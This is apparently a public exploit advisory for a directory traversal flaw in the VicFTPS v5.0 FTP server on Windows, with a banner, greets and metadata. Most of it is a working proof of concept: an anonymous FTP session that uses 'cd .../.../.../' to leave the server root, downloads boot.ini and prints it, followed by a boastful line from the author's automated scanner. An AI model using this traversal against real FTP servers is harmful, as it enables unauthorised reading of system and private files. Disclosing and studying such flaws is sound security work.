################################################################################ # # +------------------------------------------------------------------------+ # | ....... | # | ..''xxxxxxxxxxxxxxx'... | # | ..'xxxxxxxxxxxxxxxxxxxxxxxxxxx.. | # | ..'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'. | # | .'xxxxxxxxxxxxxxxxxxxxxxxxxxxx'''.......'. | # | .'xxxxxxxxxxxxxxxxxxxxx''...... ... .. | # | .xxxxxxxxxxxxxxxxxx'... ........ .'. | # | 'xxxxxxxxxxxxxxx'...... '. | # | 'xxxxxxxxxxxxxx'..'x.. .x. | # | .xxxxxxxxxxxx'...'.. ... .' | # | 'xxxxxxxxx'.. . .. .x. | # | xxxxxxx'. .. x. | # | xxxx'. .... x x. | # | 'x'. ...'xxxxxxx'. x .x. | # | .x'. .'xxxxxxxxxxxxxx. '' .' | # | .xx. .'xxxxxxxxxxxxxxxx. .'xx'''. .' | # | .xx.. 'xxxxxxxxxxxxxxxx' .'xxxxxxxxx''. | # | .'xx'. .'xxxxxxxxxxxxxxx. ..'xxxxxxxxxxxx' | # | .xxx'. .xxxxxxxxxxxx'. .'xxxxxxxxxxxxxx'. | # | .xxxx'.'xxxxxxxxx'. xxx'xxxxxxxxxx'. | # | .'xxxxxxx'.... ...xxxxxxx'. | # | ..'xxxxx'.. ..xxxxx'.. | # | ....'xx'.....''''... | # | | # | CubilFelino Security Research Labs | # | proudly presents... | # +------------------------------------------------------------------------+ # # VicFTPS v5.0 Directory Traversal # # # Greets: l1l1th, hkm, nitr0us, alt3kx, r1l0, b0rr3x, w01f, ax0us # gh0st, CHiP, Jorge Mieres and ygjb. # ################################################################################ # Exploit Title: VicFTPS v5.0 Directory Traversal # Date: May 05, 2010 # Author: chr1x # Software Link: http://vicftps.50webs.com/VicFTPS-5.0-bin.zip # Description: A simple FTP server for Windows. Does not require an install. Very simple to configure. Supports only one user connection at a time. Supports active and passive mode transfers, MDTM, SIZE, and PASS. Version 5.0 fixed CWD Buffer overflow vulnerability. <- A new vuln here! :D # Version: 5.0 # Tested on: Windows XP SP3 (Spanish Edition) ################################################## root@olovely:/ddpwn# ftp ftp> open (to) 192.168.1.64 Connected to 192.168.1.64. 220 VicFTPS ready Name (192.168.1.64:ninja): anonymous 331 pretend login accepted Password: 230 fake user logged in Remote system type is WIN32. ftp> ascii 200 Type set to I ftp> cd .../.../.../ 250 CWD command successful ftp> pwd 257 "/../../" ftp> get boot.ini local: boot.ini remote: boot.ini 200 PORT command successful 150 Opening BINARY mode data connection 226 Transfer Complete 211 bytes received in 0.00 secs (92.1 kB/s) ftp> bye 221 goodbye root@olovely:/ddpwn# cat boot.ini [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect root@olovely:/ddpwn# ################################################## Shot from DDPwNv1.0 [*] Testing Path: .../.../.../ <- VULNERABLE! :P Thiz v00d00 t00l just r0x! Ninjutzu automated hacking babe! lol. http://chr1x.sectester.net